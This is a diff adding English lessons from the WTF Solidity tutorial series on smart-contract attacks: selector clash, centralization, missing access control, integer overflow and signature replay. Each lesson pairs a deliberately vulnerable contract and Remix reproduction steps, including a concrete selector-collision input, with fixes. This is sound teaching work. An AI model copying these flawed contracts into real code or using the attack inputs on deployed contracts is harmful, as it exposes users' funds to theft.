[Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the selector clash attack, which is one of the reasons behind the hack of the cross-chain bridge Poly Network. In August 2021, the cross-chain bridge contracts of Poly Network on ETH, BSC, and Polygon were hacked, resulting in a loss of up to $611 million ([summary](https://rekt.news/zh/polynetwork-rekt/)). This is the largest blockchain hack of 2021 and the second-largest in history, second only to the Ronin bridge hack. + +## Selector Clash + +In Ethereum smart contracts, the function selector is the first 4 bytes (8 hexadecimal digits) of the hash value of the function signature `"()"`. When a user calls a function in a contract, the first 4 bytes of the `calldata` represent the selector of the target function, determining which function to call. If you are not familiar with it, you can read the [WTF Solidity 29: Function Selectors](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/29_Selector_en/readme.md). + +Due to the limited length of the function selector (4 bytes), it is very easy to collide: that is, we can easily find two different functions that have the same function selector. For example, `transferFrom(address,address,uint256)` and `gasprice_bit_ether(int128)` have the same selector: `0x23b872dd`. Of course, you can also write a script to brute force it. + +![](./img/S02-1.png) + +You can use the following websites to find different functions corresponding to the same selector: + +1. [https://www.4byte.directory/](https://www.4byte.directory/) +2. [https://sig.eth.samczsun.com/](https://sig.eth.samczsun.com/) + +You can also use the "Power Clash" tool below for brute forcing: + +1. PowerClash: https://github.com/AmazingAng/power-clash + +In contrast, the public key of a wallet is `64` bytes long and the probability of collision is almost `0`, making it very secure. + +## `0xAA` Solves the Sphinx Riddle + +The people of Ethereum have angered the gods, and the gods are furious. In order to punish the people of Ethereum, the goddess Hera sends down a Sphinx, a creature with the head of a human and the body of a lion, to the cliffs of Ethereum. The Sphinx presents a riddle to every Ethereum user who passes by the cliff: "What walks on four legs in the morning, two legs at noon, and three legs in the evening? It is the only creature that walks on different numbers of legs throughout its life. When it has the most legs, it is at its slowest and weakest." Those who solve this enigmatic riddle will be spared, while those who fail to solve it will be devoured. The Sphinx uses the selector `0x10cd2dc7` to verify the correct answer. + +One morning, Oedipus passes by and encounters the Sphinx. He solves the mysterious riddle and says, "It is `function man()`. In the morning of life, he is a child who crawls on two legs and two hands. At noon, he becomes an adult who walks on two legs. In the evening, he grows old and weak, and needs a cane to walk, hence he is called three-legged." After guessing the riddle correctly, Oedipus is allowed to live. + +Later that afternoon, `0xAA` passes by and encounters the Sphinx. He also solves the mysterious riddle and says, "It is `function peopleLduohW(uint256)`. In the morning of life, he is a child who crawls on two legs and two hands. At noon, he becomes an adult who walks on two legs. In the evening, he grows old and weak, and needs a cane to walk, hence he is called three-legged." Once again, the riddle is guessed correctly, and the Sphinx becomes furious. In a fit of anger, the Sphinx slips and falls from the towering cliff to its death. + +![](./img/S02-2.png) + +## Vulnerable Contract Example + +### Vulnerable Contract + +Let's take a look at an example of a vulnerable contract. The `SelectorClash` contract has one state variable `solved`, initialized as `false`, which the attacker needs to change to `true`. The contract has `2` main functions, named after the Poly Network vulnerable contract. + +1. `putCurEpochConPubKeyBytes()`: After calling this function, the attacker can change `solved` to `true` and complete the attack. However, this function checks `msg.sender == address(this)`, so the caller must be the contract itself. We need to look at other functions. + +2. `executeCrossChainTx()`: This function allows calling functions within the contract, but the function parameters are slightly different from the target function: the target function takes `(bytes)` as parameters, while this function takes `(bytes, bytes, uint64)`. + +```solidity +contract SelectorClash { + bool public solved; // Whether the attack is successful + + // The attacker needs to call this function, but the caller msg.sender must be this contract. + function putCurEpochConPubKeyBytes(bytes memory _bytes) public { + require(msg.sender == address(this), "Not Owner"); + solved = true; + } + + // Vulnerable, the attacker can collide function selectors by changing the _method variable, call the target function, and complete the attack. + function executeCrossChainTx(bytes memory _method, bytes memory _bytes, bytes memory _bytes1, uint64 _num) public returns(bool success){ + (success, ) = address(this).call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bytes,bytes,uint64)"))), abi.encode(_bytes, _bytes1, _num))); + } +} +``` + +### How to Attack + +Our goal is to use the `executeCrossChainTx()` function to call the `putCurEpochConPubKeyBytes()` function in the contract. The selector of the target function is `0x41973cd9`. We observe that the `executeCrossChainTx()` function calculates the selector using the `_method` parameter and `"(bytes,bytes,uint64)"` as the function signature. Therefore, we just need to choose the appropriate `_method` so that the calculated selector matches `0x41973cd9`, allowing us to call the target function through selector collision. + +In the Poly Network hack, the hacker collided the `_method` as `f1121318093`, which means the first `4` bytes of the hash of `f1121318093(bytes,bytes,uint64)` is also `0x41973cd9`, successfully calling the function. Next, we need to convert `f1121318093` to the `bytes` type: `0x6631313231333138303933`, and pass it as a parameter to `executeCrossChainTx()`. The other `3` parameters of `executeCrossChainTx()` are not important, so we can fill them with `0x`, `0x`, and `0`. + +## Reproduce on `Remix` + +1. Deploy the `SelectorClash` contract. +2. Call `executeCrossChainTx()` with the parameters `0x6631313231333138303933`, `0x`, `0x`, `0`, to initiate the attack. +3. Check the value of the `solved` variable, which should be modified to `true`, indicating a successful attack. + +## Summary + +In this lesson, we introduced the selector clash attack, which is one of the reasons behind the $611 million hack of the Poly Network cross-chain bridge. This attack teaches us: + +1. Function selectors are easily collided, even when changing parameter types, it is still possible to construct functions with the same selector. + +2. Manage the permissions of contract functions properly to ensure that functions of contracts with special privileges cannot be called by users. diff --git a/Languages/en/S03_Centralization_en/Centralization.sol b/Languages/en/S03_Centralization_en/Centralization.sol new file mode 100644 index 000000000..5d99fc265 --- /dev/null +++ b/Languages/en/S03_Centralization_en/Centralization.sol @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +contract Centralization is ERC20, Ownable { + constructor() ERC20("Centralization", "Cent") { + address exposedAccount = 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2; + transferOwnership(exposedAccount); + } + + function mint(address to, uint256 amount) external onlyOwner{ + _mint(to, amount); + } +} \ No newline at end of file diff --git a/Languages/en/S03_Centralization_en/img/S03-1.png b/Languages/en/S03_Centralization_en/img/S03-1.png new file mode 100644 index 000000000..c2ff9bf1c Binary files /dev/null and b/Languages/en/S03_Centralization_en/img/S03-1.png differ diff --git a/Languages/en/S03_Centralization_en/readme.md b/Languages/en/S03_Centralization_en/readme.md new file mode 100644 index 000000000..e74c1f715 --- /dev/null +++ b/Languages/en/S03_Centralization_en/readme.md @@ -0,0 +1,78 @@ +--- +title: S03. Centralization Risks +tags: + - solidity + - security + - multisig +--- + +# WTF Solidity S03. Centralization Risks + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will discuss the risks of centralization and pseudo-decentralization in smart contracts. The `Ronin` bridge and `Harmony` bridge were hacked due to these vulnerabilities, resulting in the theft of $624 million and $100 million, respectively. + +## Centralization Risks + +We often take pride in the decentralization of Web3, believing that in the world of Web3.0, ownership and control are decentralized. However, centralization is actually one of the most common risks in Web3 projects. In their [2021 DeFi Security Report](https://f.hubspotusercontent40.net/hubfs/4972390/Marketing/defi%20security%20report%202021-v6.pdf), renowned blockchain auditing firm Certik pointed out: + +> Centralization risk is the most common vulnerability in DeFi, with 44 DeFi hacks in 2021 related to it, resulting in over $1.3 billion in user funds lost. This emphasizes the importance of decentralization, and many projects still need to work towards this goal. + +Centralization risk refers to the centralization of ownership in smart contracts, where the `owner` of the contract is controlled by a single address. This owner can freely modify contract parameters and even withdraw user funds. Centralized projects have a single point of failure and can be exploited by malicious developers (insiders) or hackers who gain control over the address with control permissions. They can perform actions such as `rug-pull`ing, unlimited minting, or other methods to steal funds. + +Gaming project `Vulcan Forged` was hacked for $140 million in December 2021 due to a leaked private key. DeFi project `EasyFi` was hacked for $59 million in April 2021 due to a leaked private key. DeFi project `bZx` lost $55 million in a phishing attack due to a leaked private key. + +## Pseudo-Decentralization Risks + +Pseudo-decentralized projects often claim to be decentralized but still have a single point of failure, similar to centralized projects. For example, they may use a multi-signature wallet to manage smart contracts, but a few signers act in consensus and are controlled by a single person. These projects, packaged as decentralized, easily gain the trust of investors. Therefore, when a hack occurs, the amount stolen is often larger. + +The Ronin bridge of the popular gaming project Axie was hacked for $624 million in March 2022, making it the largest theft in history. The Ronin bridge is maintained by 9 validators, and 5 of them must reach consensus to approve deposit and withdrawal transactions. This appears to be similar to a multi-signature setup and highly decentralized. However, 4 of the validators are controlled by Axie's development company, Sky Mavis, and the other validator controlled by Axie DAO also approved transactions on behalf of Sky Mavis. Therefore, once the attacker gains access to Sky Mavis' private key (specific method undisclosed), they can control the 5 validators and authorize the theft of 173,600 ETH and $25.5 million USDC. + +The Harmony cross-chain bridge was hacked for $100 million in June 2022. The Harmony bridge is controlled by 5 multi-signature signers, and shockingly, only 2 signatures are required to approve a transaction. After the hacker managed to steal the private keys of two signers, they emptied the assets pledged by users. + +![](./img/S03-1.png) + +## Examples of Vulnerable Contracts + +There are various types of contracts with centralization risks, but here is the most common example: an `ERC20` contract where the `owner` address can mint tokens arbitrarily. When an insider or hacker obtains the private key of the `owner`, they can mint an unlimited amount of tokens, causing significant losses for investors. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +contract Centralization is ERC20, Ownable { + constructor() ERC20("Centralization", "Cent") { + address exposedAccount = 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2; + transferOwnership(exposedAccount); + } + + function mint(address to, uint256 amount) external onlyOwner{ + _mint(to, amount); + } +} +``` + +## How to Reduce Centralization/Pseudo-Decentralization Risks? + +1. Use a multi-signature wallet to manage the treasury and control contract parameters. To balance efficiency and decentralization, you can choose a 4/7 or 6/9 multi-signature setup. If you are not familiar with multi-signature wallets, you can read [WTF Solidity 50: Multi-Signature Wallet](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/50_MultisigWallet_en/readme.md). + +2. Diversify the holders of the multi-signature wallet, spreading them among the founding team, investors, and community leaders, and do not authorize each other's signatures. + +3. Use time locks to control the contract, giving the project team and community some time to respond and minimize losses in case of hacking or insider manipulation of contract parameters/asset theft. If you are not familiar with time lock contracts, you can read [WTF Solidity 45: Time Lock](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/45_Timelock_en/readme.md). + +## Summary + +Centralization/pseudo-decentralization is the biggest risk for blockchain projects, causing over $2 billion in user fund losses in the past two years. Centralization risks can be identified by analyzing the contract code, while pseudo-decentralization risks are more hidden and require thorough due diligence of the project to uncover. diff --git a/Languages/en/S04_AccessControlExploit_en/AccessControlExploit.sol b/Languages/en/S04_AccessControlExploit_en/AccessControlExploit.sol new file mode 100644 index 000000000..0062d7977 --- /dev/null +++ b/Languages/en/S04_AccessControlExploit_en/AccessControlExploit.sol @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +// Access Control Exploit Example +contract AccessControlExploit is ERC20, Ownable { + // Constructor: Initialize token name and symbol + constructor() ERC20("Wrong Access", "WA") {} + + // Bad mint function without access control + function badMint(address to, uint amount) public { + _mint(to, amount); + } + + // Good mint function with onlyOwner modifier for access control + function goodMint(address to, uint amount) public onlyOwner { + _mint(to, amount); + } + + // Bad burn function without access control + function badBurn(address account, uint amount) public { + _burn(account, amount); + } + + // Good burn function that checks authorization if burning tokens owned by another account + function goodBurn(address account, uint amount) public { + if(msg.sender != account){ + _spendAllowance(account, msg.sender, amount); + } + _burn(account, amount); + } +} diff --git a/Languages/en/S04_AccessControlExploit_en/img/S04-1.png b/Languages/en/S04_AccessControlExploit_en/img/S04-1.png new file mode 100644 index 000000000..c39ac0973 Binary files /dev/null and b/Languages/en/S04_AccessControlExploit_en/img/S04-1.png differ diff --git a/Languages/en/S04_AccessControlExploit_en/img/S04-2.png b/Languages/en/S04_AccessControlExploit_en/img/S04-2.png new file mode 100644 index 000000000..194ae432d Binary files /dev/null and b/Languages/en/S04_AccessControlExploit_en/img/S04-2.png differ diff --git a/Languages/en/S04_AccessControlExploit_en/readme.md b/Languages/en/S04_AccessControlExploit_en/readme.md new file mode 100644 index 000000000..8e1ec3ff3 --- /dev/null +++ b/Languages/en/S04_AccessControlExploit_en/readme.md @@ -0,0 +1,85 @@ +--- +title: S04. Access Control Exploit +tags: + - solidity + - security + - modifier + - erc20 +--- + +# WTF Solidity S04. Access Control Exploit + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +----- + +In this lesson, we will discuss the access control vulnerabilities in smart contracts. These vulnerabilities led to the Poly Network being hacked for $611 million and the ShadowFi DeFi project on BSC being hacked for $300,000. + +## Access Control Vulnerabilities + +Access control in smart contracts defines the roles and accesses of different users in the application. Typically, functions such as token minting, fund withdrawal, and pausing require higher-level accesses to be called. If the access configuration is incorrect, it can lead to unexpected losses. Below, we will discuss two common access control vulnerabilities. + +### 1. Incorrect Access Configuration + +If special functions in a contract are not properly managed with accesses, anyone can mint a large number of tokens or drain the funds from the contract. In the case of the Poly Network cross-chain bridge, the function for transferring guardianship was not configured with the appropriate accesses, allowing hackers to change it to their own address and withdraw $611 million from the contract. + +In the code below, the `mint()` function does not have access control, allowing anyone to call it and mint tokens. + +```solidity +// Bad mint function without access control +function badMint(address to, uint amount) public { + _mint(to, amount); +} +``` + +![](./img/S04-1.png) + +### 2. Authorization Check Error + +Another common type of access control vulnerability is failing to check if the caller has sufficient authorization in a function. The token contract of the DeFi project ShadowFi on BSC forgot to check the caller's allowance in the `burn()` function, allowing attackers to arbitrarily burn tokens from other addresses. After the hacker burned tokens in the liquidity pool, they only needed to sell a small amount of tokens to withdraw all the BNB from the pool, resulting in a profit of $300,000. + +```solidity +// Bad burn function without access control +function badBurn(address account, uint amount) public { + _burn(account, amount); +} +``` + +![](./img/S04-2.png) + +## How to Prevent + +There are two main methods for preventing access control vulnerabilities: + +1. Use OpenZeppelin's access control library to configure appropriate accesses for special functions in the contract. For example, use the `OnlyOwner` modifier to restrict access to only the contract owner. + +```solidity +// Good mint function with onlyOwner modifier for access control +function goodMint(address to, uint amount) public onlyOwner { + _mint(to, amount); +} +``` + +2. Ensure that the caller of the function has sufficient authorization within the function's logic. + +```solidity +// Good burn function that checks authorization if burning tokens owned by another account +function goodBurn(address account, uint amount) public { + if(msg.sender != account){ + _spendAllowance(account, msg.sender, amount); + } + _burn(account, amount); +} +``` + +## Summary + +In this lesson, we discussed access control vulnerabilities in smart contracts. There are two main forms: incorrect access configuration and authorization check errors. To avoid these vulnerabilities, we should use a access control library to configure appropriate accesses for special functions and ensure that the caller of the function has sufficient authorization within the function's logic. diff --git a/Languages/en/S05_Overflow_en/Overflow.sol b/Languages/en/S05_Overflow_en/Overflow.sol new file mode 100644 index 000000000..1a54e31e4 --- /dev/null +++ b/Languages/en/S05_Overflow_en/Overflow.sol @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Token { + mapping(address => uint) balances; + uint public totalSupply; + + constructor(uint _initialSupply) { + balances[msg.sender] = totalSupply = _initialSupply; + } + + function transfer(address _to, uint _value) public returns (bool) { + unchecked{ + require(balances[msg.sender] - _value >= 0); + balances[msg.sender] -= _value; + balances[_to] += _value; + } + return true; + } + function balanceOf(address _owner) public view returns (uint balance) { + return balances[_owner]; + } +} diff --git a/Languages/en/S05_Overflow_en/img/S05-1.png b/Languages/en/S05_Overflow_en/img/S05-1.png new file mode 100644 index 000000000..86a36db65 Binary files /dev/null and b/Languages/en/S05_Overflow_en/img/S05-1.png differ diff --git a/Languages/en/S05_Overflow_en/readme.md b/Languages/en/S05_Overflow_en/readme.md new file mode 100644 index 000000000..a78e0e126 --- /dev/null +++ b/Languages/en/S05_Overflow_en/readme.md @@ -0,0 +1,86 @@ +--- +title: S05. Integer Overflow +tags: + - solidity + - security +--- + +# WTF Solidity S05. Integer Overflow + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +----- + +In this lesson, we will introduce the integer overflow vulnerability (Arithmetic Over/Under Flows). This is a relatively common vulnerability, but it has become less prevalent since Solidity version 0.8, which includes the Safemath library. + +## Integer Overflow + +The Ethereum Virtual Machine (EVM) has fixed-size integers, which means it can only represent a specific range of numbers. For example, a `uint8` can only represent numbers in the range of [0, 255]. If a `uint8` variable is assigned the value `257`, it will overflow and become `1`; if it is assigned `-1`, it will underflow and become `255`. + +Attackers can exploit this vulnerability: imagine a hacker with a balance of `0` who magically increases their balance by `$1`, and suddenly their balance becomes `$2^256-1`. In 2018, the "PoWHC" project lost `866 ETH` due to this vulnerability. + +![](./img/S05-1.png) + +## Vulnerable Contract Example + +The following example is a simple token contract inspired by the "Ethernaut" contract. It has `2` state variables: `balances`, which records the balance of each address, and `totalSupply`, which records the total token supply. + +It has `3` functions: + +- Constructor: Initializes the total token supply. +- `transfer()`: Transfer function. +- `balanceOf()`: Balance query function. + +Since Solidity version `0.8.0`, integer overflow errors are automatically checked, and an error is thrown if an overflow occurs. To reproduce this vulnerability, we need to use the `unchecked` keyword to temporarily disable the overflow check within a code block, as we did in the `transfer()` function. + +The vulnerability in this example lies in the `transfer()` function, specifically the line `require(balances[msg.sender] - _value >= 0);`. Due to integer overflow, this check will always pass. Therefore, users can transfer an unlimited amount of tokens. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Token { + mapping(address => uint) balances; + uint public totalSupply; + + constructor(uint _initialSupply) { + balances[msg.sender] = totalSupply = _initialSupply; + } + + function transfer(address _to, uint _value) public returns (bool) { + unchecked{ + require(balances[msg.sender] - _value >= 0); + balances[msg.sender] -= _value; + balances[_to] += _value; + } + return true; + } + function balanceOf(address _owner) public view returns (uint balance) { + return balances[_owner]; + } +} +``` + +## Reproduce on `Remix` + +1. Deploy the `Token` contract and set the total supply to `100`. +2. Transfer `1000` tokens to another account, which can be done successfully. +3. Check the balance of your own account and find a very large number, approximately `2^256`. + +## How to Prevent + +1. For versions of Solidity before `0.8.0`, include the [Safemath library](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol) in the contract to throw an error in case of integer overflow. + +2. For versions of Solidity after `0.8.0`, `Safemath` is built-in, so this type of issue is almost non-existent. However, developers may temporarily disable integer overflow checks within a code block using the `unchecked` keyword to save gas. In such cases, it is important to ensure that no integer overflow vulnerabilities exist. + +## Summary + +In this lesson, we introduced the classic integer overflow vulnerability. Due to the built-in `Safemath` integer overflow check in Solidity version `0.8.0` and later, this type of vulnerability has become rare. diff --git a/Languages/en/S06_SignatureReplay_en/SingatureReplay.sol b/Languages/en/S06_SignatureReplay_en/SingatureReplay.sol new file mode 100644 index 000000000..aa224caa1 --- /dev/null +++ b/Languages/en/S06_SignatureReplay_en/SingatureReplay.sol @@ -0,0 +1,80 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + +// Access control bad example +contract SigReplay is ERC20 { + + address public signer; + + // Constructor: initialize token name and symbol + constructor() ERC20("SigReplay", "Replay") { + signer = msg.sender; + } + + /** + * Mint function with signature replay vulnerability + * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * amount: 1000 + * Signature: 0x5a4f1ad4d8bd6b5582e658087633230d9810a0b7b8afa791e3f94cc38947f6cb1069519caf5bba7b975df29cbfdb4ada355027589a989435bf88e825841452f61b + */ + function badMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount)); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + } + + /** + * Concatenate the 'to' address (address type) and 'amount' (uint256 type) to form the message 'msgHash' + * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * amount: 1000 + * Corresponding message 'msgHash': 0xb4a4ba10fbd6886a312ec31c54137f5714ddc0e93274da8746a36d2fa96768be + */ + function getMessageHash(address to, uint256 amount) public pure returns(bytes32){ + return keccak256(abi.encodePacked(to, amount)); + } + + /** + * @dev Get the Ethereum signed message hash + * `hash`: Message hash + * Follows the Ethereum signature standard: https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] + * and `EIP191`: https://eips.ethereum.org/EIPS/eip-191` + * Adds the "\x19Ethereum Signed Message:\n32" field to prevent signing of executable transactions. + */ + function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) { + // 32 is the length in bytes of hash, + // enforced by the type signature above + return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); + } + + // ECDSA verification + function verify(bytes32 _msgHash, bytes memory _signature) public view returns (bool){ + return ECDSA.recover(_msgHash, _signature) == signer; + } + + + mapping(address => bool) public mintedAddress; // Records addresses that have already minted + + function goodMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount)); + require(verify(_msgHash, signature), "Invalid Signer!"); + // Check if the address has already minted + require(!mintedAddress[to], "Already minted"); + // Record the address minted + mintedAddress[to] = true; + _mint(to, amount); + } + + uint nonce; + + function nonceMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount, nonce, block.chainid))); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + nonce++; + } +} \ No newline at end of file diff --git a/Languages/en/S06_SignatureReplay_en/img/S06-1.png b/Languages/en/S06_SignatureReplay_en/img/S06-1.png new file mode 100644 index 000000000..d7366d372 Binary files /dev/null and b/Languages/en/S06_SignatureReplay_en/img/S06-1.png differ diff --git a/Languages/en/S06_SignatureReplay_en/img/S06-2.png b/Languages/en/S06_SignatureReplay_en/img/S06-2.png new file mode 100644 index 000000000..c7169d870 Binary files /dev/null and b/Languages/en/S06_SignatureReplay_en/img/S06-2.png differ diff --git a/Languages/en/S06_SignatureReplay_en/img/S06-3.png b/Languages/en/S06_SignatureReplay_en/img/S06-3.png new file mode 100644 index 000000000..042597822 Binary files /dev/null and b/Languages/en/S06_SignatureReplay_en/img/S06-3.png differ diff --git a/Languages/en/S06_SignatureReplay_en/img/S06-4.png b/Languages/en/S06_SignatureReplay_en/img/S06-4.png new file mode 100644 index 000000000..4238aa09f Binary files /dev/null and b/Languages/en/S06_SignatureReplay_en/img/S06-4.png differ diff --git a/Languages/en/S06_SignatureReplay_en/img/S06-5.png b/Languages/en/S06_SignatureReplay_en/img/S06-5.png new file mode 100644 index 000000000..2fe7922db Binary files /dev/null and b/Languages/en/S06_SignatureReplay_en/img/S06-5.png differ diff --git a/Languages/en/S06_SignatureReplay_en/readme.md b/Languages/en/S06_SignatureReplay_en/readme.md new file mode 100644 index 000000000..1934303fd --- /dev/null +++ b/Languages/en/S06_SignatureReplay_en/readme.md @@ -0,0 +1,169 @@ +--- +title: S06. Signature Replay +tags: + - solidity + - security + - signature +--- + +# WTF Solidity S06. Signature Replay + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the Signature Replay attack and how to prevent in smart contracts, which indirectly led to the theft of 20 million $OP tokens from the famous market maker Wintermute. + +## Signature Replay + +When I was in school, teachers often asked parents to sign documents. Sometimes, when parents were busy, I would "helpfully" copy their previous signatures. In a sense, this is similar to signature replay. + +In blockchain, digital signatures can be used to identify the signer of data and verify data integrity. When sending transactions, users sign the transactions with their private keys, allowing others to verify that the transaction was sent by the corresponding account. Smart contracts can also use the `ECDSA` algorithm to verify signatures created off-chain by users and then execute logic such as minting or transferring tokens. For more information about digital signatures, please refer to [WTF Solidity 37: Digital Signatures](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/37_Signature_en/readme.md). + +There are generally two common types of replay attacks on digital signatures: + +1. Regular replay: Reusing a signature that should have been used only once. The NBA's "The Association" series of NFTs were freely minted thousands of times due to this type of attack. +2. Cross-chain replay: Reusing a signature intended for use on one chain on another chain. Wintermute, the market maker, lost 20 million $OP tokens due to a cross-chain replay attack. + +![](./img/S06-1.png) + +## Vulnerable Contract Example + +The `SigReplay` contract below is an `ERC20` token contract that has a signature replay vulnerability in its minting function. It uses off-chain signatures to allow whitelisted address `to` to mint a corresponding amount `amount` of tokens. The contract stores the `signer` address to verify the validity of the signature. + +```solidity +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + +// Access control bad example +contract SigReplay is ERC20 { + + address public signer; + + // Constructor: initialize token name and symbol + constructor() ERC20("SigReplay", "Replay") { + signer = msg.sender; + } + + /** + * Mint function with signature replay vulnerability + * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * amount: 1000 + * Signature: 0x5a4f1ad4d8bd6b5582e658087633230d9810a0b7b8afa791e3f94cc38947f6cb1069519caf5bba7b975df29cbfdb4ada355027589a989435bf88e825841452f61b + */ + function badMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount)); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + } + + /** + * Concatenate the 'to' address (address type) and 'amount' (uint256 type) to form the message 'msgHash' + * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * amount: 1000 + * Corresponding message 'msgHash': 0xb4a4ba10fbd6886a312ec31c54137f5714ddc0e93274da8746a36d2fa96768be + */ + function getMessageHash(address to, uint256 amount) public pure returns(bytes32){ + return keccak256(abi.encodePacked(to, amount)); + } + + /** + * @dev Get the Ethereum signed message hash + * `hash`: Message hash + * Follows the Ethereum signature standard: https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] + * and `EIP191`: https://eips.ethereum.org/EIPS/eip-191` + * Adds the "\x19Ethereum Signed Message:\n32" field to prevent signing of executable transactions. + */ + function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) { + // 32 is the length in bytes of hash, + // enforced by the type signature above + return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); + } + + // ECDSA verification + function verify(bytes32 _msgHash, bytes memory _signature) public view returns (bool){ + return ECDSA.recover(_msgHash, _signature) == signer; + } +``` + +**Note:** The `badMint()` function does not check for duplicate `signature`, allowing the same signature to be used multiple times, resulting in unlimited token minting. + +```solidity + function badMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount))); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + } +``` + +## Reproduce on `Remix` + +**1.** Deploy the `SigReplay` contract, where the signer address `signer` is initialized with the deploying wallet address. + +![](./img/S06-2.png) + +**2.** Use the `getMessageHash` function to obtain the message. + +![](./img/S06-3.png) + +**3.** Click the signature button 